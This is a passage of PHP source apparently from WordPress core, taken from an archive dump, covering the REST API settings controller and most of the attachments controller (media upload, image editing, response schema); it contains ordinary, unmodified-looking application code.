$this, 'update_item' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read and manage settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool True if the request has read access for the item, otherwise false. */ public function get_item_permissions_check( $request ) { return current_user_can( 'manage_options' ); } /** * Retrieves the settings. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or WP_Error object on failure. */ public function get_item( $request ) { $options = $this->get_registered_options(); $response = array(); foreach ( $options as $name => $args ) { /** * Filters the value of a setting recognized by the REST API. * * Allow hijacking the setting value and overriding the built-in behavior by returning a * non-null value. The returned value will be presented as the setting value instead. * * @since 4.7.0 * * @param mixed $result Value to use for the requested setting. Can be a scalar * matching the registered schema for the setting, or null to * follow the default get_option() behavior. * @param string $name Setting name (as shown in REST API responses). * @param array $args Arguments passed to register_setting() for this setting. */ $response[ $name ] = apply_filters( 'rest_pre_get_setting', null, $name, $args ); if ( is_null( $response[ $name ] ) ) { // Default to a null value as "null" in the response means "not set". $response[ $name ] = get_option( $args['option_name'], $args['schema']['default'] ); } /* * Because get_option() is lossy, we have to * cast values to the type they are registered with. */ $response[ $name ] = $this->prepare_value( $response[ $name ], $args['schema'] ); } return $response; } /** * Prepares a value for output based off a schema array. * * @since 4.7.0 * * @param mixed $value Value to prepare. * @param array $schema Schema to match. * @return mixed The prepared value. */ protected function prepare_value( $value, $schema ) { /* * If the value is not valid by the schema, set the value to null. * Null values are specifically non-destructive, so this will not cause * overwriting the current invalid value to null. */ if ( is_wp_error( rest_validate_value_from_schema( $value, $schema ) ) ) { return null; } return rest_sanitize_value_from_schema( $value, $schema ); } /** * Updates settings for the settings object. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return array|WP_Error Array on success, or error object on failure. */ public function update_item( $request ) { $options = $this->get_registered_options(); $params = $request->get_params(); foreach ( $options as $name => $args ) { if ( ! array_key_exists( $name, $params ) ) { continue; } /** * Filters whether to preempt a setting value update via the REST API. * * Allows hijacking the setting update logic and overriding the built-in behavior by * returning true. * * @since 4.7.0 * * @param bool $result Whether to override the default behavior for updating the * value of a setting. * @param string $name Setting name (as shown in REST API responses). * @param mixed $value Updated setting value. * @param array $args Arguments passed to register_setting() for this setting. */ $updated = apply_filters( 'rest_pre_update_setting', false, $name, $request[ $name ], $args ); if ( $updated ) { continue; } /* * A null value for an option would have the same effect as * deleting the option from the database, and relying on the * default value. */ if ( is_null( $request[ $name ] ) ) { /* * A null value is returned in the response for any option * that has a non-scalar value. * * To protect clients from accidentally including the null * values from a response object in a request, we do not allow * options with values that don't pass validation to be updated to null. * Without this added protection a client could mistakenly * delete all options that have invalid values from the * database. */ if ( is_wp_error( rest_validate_value_from_schema( get_option( $args['option_name'], false ), $args['schema'] ) ) ) { return new WP_Error( 'rest_invalid_stored_value', /* translators: %s: Property name. */ sprintf( __( 'The %s property has an invalid stored value, and cannot be updated to null.' ), $name ), array( 'status' => 500 ) ); } delete_option( $args['option_name'] ); } else { update_option( $args['option_name'], $request[ $name ] ); } } return $this->get_item( $request ); } /** * Retrieves all of the registered options for the Settings API. * * @since 4.7.0 * * @return array Array of registered options. */ protected function get_registered_options() { $rest_options = array(); foreach ( get_registered_settings() as $name => $args ) { if ( empty( $args['show_in_rest'] ) ) { continue; } $rest_args = array(); if ( is_array( $args['show_in_rest'] ) ) { $rest_args = $args['show_in_rest']; } $defaults = array( 'name' => ! empty( $rest_args['name'] ) ? $rest_args['name'] : $name, 'schema' => array(), ); $rest_args = array_merge( $defaults, $rest_args ); $default_schema = array( 'type' => empty( $args['type'] ) ? null : $args['type'], 'description' => empty( $args['description'] ) ? '' : $args['description'], 'default' => isset( $args['default'] ) ? $args['default'] : null, ); $rest_args['schema'] = array_merge( $default_schema, $rest_args['schema'] ); $rest_args['option_name'] = $name; // Skip over settings that don't have a defined type in the schema. if ( empty( $rest_args['schema']['type'] ) ) { continue; } /* * Allow the supported types for settings, as we don't want invalid types * to be updated with arbitrary values that we can't do decent sanitizing for. */ if ( ! in_array( $rest_args['schema']['type'], array( 'number', 'integer', 'string', 'boolean', 'array', 'object' ), true ) ) { continue; } $rest_args['schema'] = $this->set_additional_properties_to_false( $rest_args['schema'] ); $rest_options[ $rest_args['name'] ] = $rest_args; } return $rest_options; } /** * Retrieves the site setting schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $options = $this->get_registered_options(); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'settings', 'type' => 'object', 'properties' => array(), ); foreach ( $options as $option_name => $option ) { $schema['properties'][ $option_name ] = $option['schema']; $schema['properties'][ $option_name ]['arg_options'] = array( 'sanitize_callback' => array( $this, 'sanitize_callback' ), ); } $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Custom sanitize callback used for all options to allow the use of 'null'. * * By default, the schema of settings will throw an error if a value is set to * `null` as it's not a valid value for something like "type => string". We * provide a wrapper sanitizer to allow the use of `null`. * * @since 4.7.0 * * @param mixed $value The value for the setting. * @param WP_REST_Request $request The request object. * @param string $param The parameter name. * @return mixed|WP_Error */ public function sanitize_callback( $value, $request, $param ) { if ( is_null( $value ) ) { return $value; } return rest_parse_request_arg( $value, $request, $param ); } /** * Recursively add additionalProperties = false to all objects in a schema. * * This is need to restrict properties of objects in settings values to only * registered items, as the REST API will allow additional properties by * default. * * @since 4.9.0 * * @param array $schema The schema array. * @return array */ protected function set_additional_properties_to_false( $schema ) { switch ( $schema['type'] ) { case 'object': foreach ( $schema['properties'] as $key => $child_schema ) { $schema['properties'][ $key ] = $this->set_additional_properties_to_false( $child_schema ); } $schema['additionalProperties'] = false; break; case 'array': $schema['items'] = $this->set_additional_properties_to_false( $schema['items'] ); break; } return $schema; } } rest-api/endpoints/class-wp-rest-attachments-controller.php000064400000126170147177035020020217 0ustar00namespace, '/' . $this->rest_base . '/(?P[\d]+)/post-process', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'post_process_item' ), 'permission_callback' => array( $this, 'post_process_item_permissions_check' ), 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the attachment.' ), 'type' => 'integer', ), 'action' => array( 'type' => 'string', 'enum' => array( 'create-image-subsizes' ), 'required' => true, ), ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)/edit', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'edit_media_item' ), 'permission_callback' => array( $this, 'edit_media_item_permissions_check' ), 'args' => $this->get_edit_media_item_args(), ) ); } /** * Determines the allowed query_vars for a get_items() response and * prepares for WP_Query. * * @since 4.7.0 * * @param array $prepared_args Optional. Array of prepared arguments. Default empty array. * @param WP_REST_Request $request Optional. Request to prepare items for. * @return array Array of query arguments. */ protected function prepare_items_query( $prepared_args = array(), $request = null ) { $query_args = parent::prepare_items_query( $prepared_args, $request ); if ( empty( $query_args['post_status'] ) ) { $query_args['post_status'] = 'inherit'; } $media_types = $this->get_media_types(); if ( ! empty( $request['media_type'] ) && isset( $media_types[ $request['media_type'] ] ) ) { $query_args['post_mime_type'] = $media_types[ $request['media_type'] ]; } if ( ! empty( $request['mime_type'] ) ) { $parts = explode( '/', $request['mime_type'] ); if ( isset( $media_types[ $parts[0] ] ) && in_array( $request['mime_type'], $media_types[ $parts[0] ], true ) ) { $query_args['post_mime_type'] = $request['mime_type']; } } // Filter query clauses to include filenames. if ( isset( $query_args['s'] ) ) { add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' ); } return $query_args; } /** * Checks if a given request has access to create an attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not. */ public function create_item_permissions_check( $request ) { $ret = parent::create_item_permissions_check( $request ); if ( ! $ret || is_wp_error( $ret ) ) { return $ret; } if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => 400 ) ); } // Attaching media to a post requires ability to edit said post. if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to upload media to this post.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } $insert = $this->insert_attachment( $request ); if ( is_wp_error( $insert ) ) { return $insert; } $schema = $this->get_item_schema(); // Extract by name. $attachment_id = $insert['attachment_id']; $file = $insert['file']; if ( isset( $request['alt_text'] ) ) { update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) ); } if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $attachment_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $attachment = get_post( $attachment_id ); $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** * Fires after a single attachment is completely created or updated via the REST API. * * @since 5.0.0 * * @param WP_Post $attachment Inserted or updated attachment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_after_insert_attachment', $attachment, $request, true ); wp_after_insert_post( $attachment, false, null ); if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { // Set a custom header with the attachment_id. // Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id ); } // Include media and image functions to get access to wp_generate_attachment_metadata(). require_once ABSPATH . 'wp-admin/includes/media.php'; require_once ABSPATH . 'wp-admin/includes/image.php'; // Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta. // At this point the server may run out of resources and post-processing of uploaded images may fail. wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) ); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) ); return $response; } /** * Inserts the attachment post in the database. Does not update the attachment meta. * * @since 5.3.0 * * @param WP_REST_Request $request * @return array|WP_Error */ protected function insert_attachment( $request ) { // Get the file via $_FILES or raw data. $files = $request->get_file_params(); $headers = $request->get_headers(); if ( ! empty( $files ) ) { $file = $this->upload_from_file( $files, $headers ); } else { $file = $this->upload_from_data( $request->get_body(), $headers ); } if ( is_wp_error( $file ) ) { return $file; } $name = wp_basename( $file['file'] ); $name_parts = pathinfo( $name ); $name = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) ); $url = $file['url']; $type = $file['type']; $file = $file['file']; // Include image functions to get access to wp_read_image_metadata(). require_once ABSPATH . 'wp-admin/includes/image.php'; // Use image exif/iptc data for title and caption defaults if possible. $image_meta = wp_read_image_metadata( $file ); if ( ! empty( $image_meta ) ) { if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) { $request['title'] = $image_meta['title']; } if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) { $request['caption'] = $image_meta['caption']; } } $attachment = $this->prepare_item_for_database( $request ); $attachment->post_mime_type = $type; $attachment->guid = $url; if ( empty( $attachment->post_title ) ) { $attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) ); } // $post_parent is inherited from $attachment['post_parent']. $id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false ); if ( is_wp_error( $id ) ) { if ( 'db_update_error' === $id->get_error_code() ) { $id->add_data( array( 'status' => 500 ) ); } else { $id->add_data( array( 'status' => 400 ) ); } return $id; } $attachment = get_post( $id ); /** * Fires after a single attachment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Post $attachment Inserted or updated attachment * object. * @param WP_REST_Request $request The request sent to the API. * @param bool $creating True when creating an attachment, false when updating. */ do_action( 'rest_insert_attachment', $attachment, $request, true ); return array( 'attachment_id' => $id, 'file' => $file, ); } /** * Updates a single attachment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function update_item( $request ) { if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) { return new WP_Error( 'rest_invalid_param', __( 'Invalid parent type.' ), array( 'status' => 400 ) ); } $attachment_before = get_post( $request['id'] ); $response = parent::update_item( $request ); if ( is_wp_error( $response ) ) { return $response; } $response = rest_ensure_response( $response ); $data = $response->get_data(); if ( isset( $request['alt_text'] ) ) { update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] ); } $attachment = get_post( $request['id'] ); $fields_update = $this->update_additional_fields_for_object( $attachment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */ do_action( 'rest_after_insert_attachment', $attachment, $request, false ); wp_after_insert_post( $attachment, true, $attachment_before ); $response = $this->prepare_item_for_response( $attachment, $request ); $response = rest_ensure_response( $response ); return $response; } /** * Performs post processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function post_process_item( $request ) { switch ( $request['action'] ) { case 'create-image-subsizes': require_once ABSPATH . 'wp-admin/includes/image.php'; wp_update_image_subsizes( $request['id'] ); break; } $request['context'] = 'edit'; return $this->prepare_item_for_response( get_post( $request['id'] ), $request ); } /** * Checks if a given request can perform post processing on an attachment. * * @since 5.3.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function post_process_item_permissions_check( $request ) { return $this->update_item_permissions_check( $request ); } /** * Checks if a given request has access to editing media. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function edit_media_item_permissions_check( $request ) { if ( ! current_user_can( 'upload_files' ) ) { return new WP_Error( 'rest_cannot_edit_image', __( 'Sorry, you are not allowed to upload media on this site.' ), array( 'status' => rest_authorization_required_code() ) ); } return $this->update_item_permissions_check( $request ); } /** * Applies edits to a media item and creates a new attachment record. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function edit_media_item( $request ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $attachment_id = $request['id']; // This also confirms the attachment is an image. $image_file = wp_get_original_image_path( $attachment_id ); $image_meta = wp_get_attachment_metadata( $attachment_id ); if ( ! $image_meta || ! $image_file || ! wp_image_file_matches_image_meta( $request['src'], $image_meta, $attachment_id ) ) { return new WP_Error( 'rest_unknown_attachment', __( 'Unable to get meta information for file.' ), array( 'status' => 404 ) ); } $supported_types = array( 'image/jpeg', 'image/png', 'image/gif', 'image/webp' ); $mime_type = get_post_mime_type( $attachment_id ); if ( ! in_array( $mime_type, $supported_types, true ) ) { return new WP_Error( 'rest_cannot_edit_file_type', __( 'This type of file cannot be edited.' ), array( 'status' => 400 ) ); } // The `modifiers` param takes precedence over the older format. if ( isset( $request['modifiers'] ) ) { $modifiers = $request['modifiers']; } else { $modifiers = array(); if ( ! empty( $request['rotation'] ) ) { $modifiers[] = array( 'type' => 'rotate', 'args' => array( 'angle' => $request['rotation'], ), ); } if ( isset( $request['x'], $request['y'], $request['width'], $request['height'] ) ) { $modifiers[] = array( 'type' => 'crop', 'args' => array( 'left' => $request['x'], 'top' => $request['y'], 'width' => $request['width'], 'height' => $request['height'], ), ); } if ( 0 === count( $modifiers ) ) { return new WP_Error( 'rest_image_not_edited', __( 'The image was not edited. Edit the image before applying the changes.' ), array( 'status' => 400 ) ); } } /* * If the file doesn't exist, attempt a URL fopen on the src link. * This can occur with certain file replication plugins. * Keep the original file path to get a modified name later. */ $image_file_to_edit = $image_file; if ( ! file_exists( $image_file_to_edit ) ) { $image_file_to_edit = _load_image_to_edit_path( $attachment_id ); } $image_editor = wp_get_image_editor( $image_file_to_edit ); if ( is_wp_error( $image_editor ) ) { return new WP_Error( 'rest_unknown_image_file_type', __( 'Unable to edit this image.' ), array( 'status' => 500 ) ); } foreach ( $modifiers as $modifier ) { $args = $modifier['args']; switch ( $modifier['type'] ) { case 'rotate': // Rotation direction: clockwise vs. counter clockwise. $rotate = 0 - $args['angle']; if ( 0 !== $rotate ) { $result = $image_editor->rotate( $rotate ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_rotation_failed', __( 'Unable to rotate this image.' ), array( 'status' => 500 ) ); } } break; case 'crop': $size = $image_editor->get_size(); $crop_x = round( ( $size['width'] * $args['left'] ) / 100.0 ); $crop_y = round( ( $size['height'] * $args['top'] ) / 100.0 ); $width = round( ( $size['width'] * $args['width'] ) / 100.0 ); $height = round( ( $size['height'] * $args['height'] ) / 100.0 ); if ( $size['width'] !== $width && $size['height'] !== $height ) { $result = $image_editor->crop( $crop_x, $crop_y, $width, $height ); if ( is_wp_error( $result ) ) { return new WP_Error( 'rest_image_crop_failed', __( 'Unable to crop this image.' ), array( 'status' => 500 ) ); } } break; } } // Calculate the file name. $image_ext = pathinfo( $image_file, PATHINFO_EXTENSION ); $image_name = wp_basename( $image_file, ".{$image_ext}" ); // Do not append multiple `-edited` to the file name. // The user may be editing a previously edited image. if ( preg_match( '/-edited(-\d+)?$/', $image_name ) ) { // Remove any `-1`, `-2`, etc. `wp_unique_filename()` will add the proper number. $image_name = preg_replace( '/-edited(-\d+)?$/', '-edited', $image_name ); } else { // Append `-edited` before the extension. $image_name .= '-edited'; } $filename = "{$image_name}.{$image_ext}"; // Create the uploads sub-directory if needed. $uploads = wp_upload_dir(); // Make the file name unique in the (new) upload directory. $filename = wp_unique_filename( $uploads['path'], $filename ); // Save to disk. $saved = $image_editor->save( $uploads['path'] . "/$filename" ); if ( is_wp_error( $saved ) ) { return $saved; } // Create new attachment post. $new_attachment_post = array( 'post_mime_type' => $saved['mime-type'], 'guid' => $uploads['url'] . "/$filename", 'post_title' => $image_name, 'post_content' => '', ); // Copy post_content, post_excerpt, and post_title from the edited image's attachment post. $attachment_post = get_post( $attachment_id ); if ( $attachment_post ) { $new_attachment_post['post_content'] = $attachment_post->post_content; $new_attachment_post['post_excerpt'] = $attachment_post->post_excerpt; $new_attachment_post['post_title'] = $attachment_post->post_title; } $new_attachment_id = wp_insert_attachment( wp_slash( $new_attachment_post ), $saved['path'], 0, true ); if ( is_wp_error( $new_attachment_id ) ) { if ( 'db_update_error' === $new_attachment_id->get_error_code() ) { $new_attachment_id->add_data( array( 'status' => 500 ) ); } else { $new_attachment_id->add_data( array( 'status' => 400 ) ); } return $new_attachment_id; } // Copy the image alt text from the edited image. $image_alt = get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ); if ( ! empty( $image_alt ) ) { // update_post_meta() expects slashed. update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) ); } if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) { // Set a custom header with the attachment_id. // Used by the browser/client to resume creating image sub-sizes after a PHP fatal error. header( 'X-WP-Upload-Attachment-ID: ' . $new_attachment_id ); } // Generate image sub-sizes and meta. $new_image_meta = wp_generate_attachment_metadata( $new_attachment_id, $saved['path'] ); // Copy the EXIF metadata from the original attachment if not generated for the edited image. if ( isset( $image_meta['image_meta'] ) && isset( $new_image_meta['image_meta'] ) && is_array( $new_image_meta['image_meta'] ) ) { // Merge but skip empty values. foreach ( (array) $image_meta['image_meta'] as $key => $value ) { if ( empty( $new_image_meta['image_meta'][ $key ] ) && ! empty( $value ) ) { $new_image_meta['image_meta'][ $key ] = $value; } } } // Reset orientation. At this point the image is edited and orientation is correct. if ( ! empty( $new_image_meta['image_meta']['orientation'] ) ) { $new_image_meta['image_meta']['orientation'] = 1; } // The attachment_id may change if the site is exported and imported. $new_image_meta['parent_image'] = array( 'attachment_id' => $attachment_id, // Path to the originally uploaded image file relative to the uploads directory. 'file' => _wp_relative_upload_path( $image_file ), ); /** * Filters the meta data for the new image created by editing an existing image. * * @since 5.5.0 * * @param array $new_image_meta Meta data for the new image. * @param int $new_attachment_id Attachment post ID for the new image. * @param int $attachment_id Attachment post ID for the edited (parent) image. */ $new_image_meta = apply_filters( 'wp_edited_image_metadata', $new_image_meta, $new_attachment_id, $attachment_id ); wp_update_attachment_metadata( $new_attachment_id, $new_image_meta ); $response = $this->prepare_item_for_response( get_post( $new_attachment_id ), $request ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $new_attachment_id ) ) ); return $response; } /** * Prepares a single attachment for create or update. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object. */ protected function prepare_item_for_database( $request ) { $prepared_attachment = parent::prepare_item_for_database( $request ); // Attachment caption (post_excerpt internally). if ( isset( $request['caption'] ) ) { if ( is_string( $request['caption'] ) ) { $prepared_attachment->post_excerpt = $request['caption']; } elseif ( isset( $request['caption']['raw'] ) ) { $prepared_attachment->post_excerpt = $request['caption']['raw']; } } // Attachment description (post_content internally). if ( isset( $request['description'] ) ) { if ( is_string( $request['description'] ) ) { $prepared_attachment->post_content = $request['description']; } elseif ( isset( $request['description']['raw'] ) ) { $prepared_attachment->post_content = $request['description']['raw']; } } if ( isset( $request['post'] ) ) { $prepared_attachment->post_parent = (int) $request['post']; } return $prepared_attachment; } /** * Prepares a single attachment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Post $item Attachment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $post = $item; $response = parent::prepare_item_for_response( $post, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'description', $fields, true ) ) { $data['description'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters( 'the_content', $post->post_content ), ); } if ( in_array( 'caption', $fields, true ) ) { /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post ); /** This filter is documented in wp-includes/post-template.php */ $caption = apply_filters( 'the_excerpt', $caption ); $data['caption'] = array( 'raw' => $post->post_excerpt, 'rendered' => $caption, ); } if ( in_array( 'alt_text', $fields, true ) ) { $data['alt_text'] = get_post_meta( $post->ID, '_wp_attachment_image_alt', true ); } if ( in_array( 'media_type', $fields, true ) ) { $data['media_type'] = wp_attachment_is_image( $post->ID ) ? 'image' : 'file'; } if ( in_array( 'mime_type', $fields, true ) ) { $data['mime_type'] = $post->post_mime_type; } if ( in_array( 'media_details', $fields, true ) ) { $data['media_details'] = wp_get_attachment_metadata( $post->ID ); // Ensure empty details is an empty object. if ( empty( $data['media_details'] ) ) { $data['media_details'] = new stdClass; } elseif ( ! empty( $data['media_details']['sizes'] ) ) { foreach ( $data['media_details']['sizes'] as $size => &$size_data ) { if ( isset( $size_data['mime-type'] ) ) { $size_data['mime_type'] = $size_data['mime-type']; unset( $size_data['mime-type'] ); } // Use the same method image_downsize() does. $image_src = wp_get_attachment_image_src( $post->ID, $size ); if ( ! $image_src ) { continue; } $size_data['source_url'] = $image_src[0]; } $full_src = wp_get_attachment_image_src( $post->ID, 'full' ); if ( ! empty( $full_src ) ) { $data['media_details']['sizes']['full'] = array( 'file' => wp_basename( $full_src[0] ), 'width' => $full_src[1], 'height' => $full_src[2], 'mime_type' => $post->post_mime_type, 'source_url' => $full_src[0], ); } } else { $data['media_details']['sizes'] = new stdClass; } } if ( in_array( 'post', $fields, true ) ) { $data['post'] = ! empty( $post->post_parent ) ? (int) $post->post_parent : null; } if ( in_array( 'source_url', $fields, true ) ) { $data['source_url'] = wp_get_attachment_url( $post->ID ); } if ( in_array( 'missing_image_sizes', $fields, true ) ) { require_once ABSPATH . 'wp-admin/includes/image.php'; $data['missing_image_sizes'] = array_keys( wp_get_missing_image_subsizes( $post->ID ) ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $links = $response->get_links(); // Wrap the data in a response object. $response = rest_ensure_response( $data ); foreach ( $links as $rel => $rel_links ) { foreach ( $rel_links as $link ) { $response->add_link( $rel, $link['href'], $link['attributes'] ); } } /** * Filters an attachment returned from the REST API. * * Allows modification of the attachment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post The original attachment post. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_attachment', $response, $post, $request ); } /** * Retrieves the attachment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array Item schema as an array. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = parent::get_item_schema(); $schema['properties']['alt_text'] = array( 'description' => __( 'Alternative text to display when attachment is not displayed.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ); $schema['properties']['caption'] = array( 'description' => __( 'The attachment caption.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Caption for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML caption for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); $schema['properties']['description'] = array( 'description' => __( 'The attachment description.' ), 'type' => 'object', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Description for the attachment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML description for the attachment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), ), ); $schema['properties']['media_type'] = array( 'description' => __( 'Attachment type.' ), 'type' => 'string', 'enum' => array( 'image', 'file' ), 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['mime_type'] = array( 'description' => __( 'The attachment MIME type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['media_details'] = array( 'description' => __( 'Details about the media file, specific to its type.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['post'] = array( 'description' => __( 'The ID for the associated post of the attachment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), ); $schema['properties']['source_url'] = array( 'description' => __( 'URL to the original attachment file.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ); $schema['properties']['missing_image_sizes'] = array( 'description' => __( 'List of the missing image sizes of the attachment.' ), 'type' => 'array', 'items' => array( 'type' => 'string' ), 'context' => array( 'edit' ), 'readonly' => true, ); unset( $schema['properties']['password'] ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Handles an upload via raw POST data. * * @since 4.7.0 * * @param array $data Supplied file data. * @param array $headers HTTP headers from the request. * @return array|WP_Error Data from wp_handle_sideload(). */ protected function upload_from_data( $data, $headers ) { if ( empty( $data ) ) { return new WP_Error( 'rest_upload_no_data', __( 'No data supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_type'] ) ) { return new WP_Error( 'rest_upload_no_content_type', __( 'No Content-Type supplied.' ), array( 'status' => 400 ) ); } if ( empty( $headers['content_disposition'] ) ) { return new WP_Error( 'rest_upload_no_content_disposition', __( 'No Content-Disposition supplied.' ), array( 'status' => 400 ) ); } $filename = self::get_filename_from_disposition( $headers['content_disposition'] ); if ( empty( $filename ) ) { return new WP_Error( 'rest_upload_invalid_disposition', __( 'Invalid Content-Disposition supplied. Content-Disposition needs to be formatted as `attachment; filename="image.png"` or similar.' ), array( 'status' => 400 ) ); } if ( ! empty( $headers['content_md5'] ) ) { $content_md5 = array_shift( $headers['content_md5'] ); $expected = trim( $content_md5 ); $actual = md5( $data ); if ( $expected !== $actual ) { return new WP_Error( 'rest_upload_hash_mismatch', __( 'Content hash did not match expected.' ), array( 'status' => 412 ) ); } } // Get the content-type. $type = array_shift( $headers['content_type'] ); // Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload(). require_once ABSPATH . 'wp-admin/includes/file.php'; // Save the file. $tmpfname = wp_tempnam( $filename ); $fp = fopen( $tmpfname, 'w+' ); if ( ! $fp ) { return new WP_Error( 'rest_upload_file_error', __( 'Could not open file 